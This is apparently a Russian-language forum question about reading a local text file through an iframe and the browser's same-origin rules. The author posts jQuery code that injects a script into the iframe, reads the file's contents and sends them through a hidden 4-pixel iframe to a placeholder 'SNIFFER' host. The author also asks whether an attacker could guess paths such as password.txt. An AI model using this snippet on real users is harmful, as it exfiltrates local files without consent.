Приветствую. Пытаюсь получить тело #frm1
var body1 = $("#frm1").contents().find("body").html();
console.log(body1); //undefined
Файл 1.txt лежит рядом.
<iframe id="frm1" width="500px" height="500px" src="file:///D:\html\1.txt"></iframe>
Не получается из за политики безопасности?
Ок. Что если внутрь тела frm1 добавить JS код который будет создавать еще один iframe и отправлять тело документа (из созданного iframe'a)
$( document ).ready(function() {
var $iframe = $('#frm1');
$iframe.ready(function() {
var script = 'var body=document.body.innerHTML; var ifrm = document.createElement("iframe"); ifrm.setAttribute("src", "http://SNIFFER/ss.php?data="+ body); ifrm.style.width = "4px"; ifrm.style.height = "4px"; document.body.appendChild(ifrm);';
$iframe.contents().find("body").append($('<script>').html(script));
});
});
На удивление - работает.
Повторюсь файлы .html и 1.txt лежат в одной директории (из других директорий выводит, но не отправляет, в console.log тоже не выводит, не знаю почему. Работает только с .txt)
Что если злоумышленник будет перебирать пути (как вариант password.txt) и отправлять себе. Достаточно будет только запустить .html файл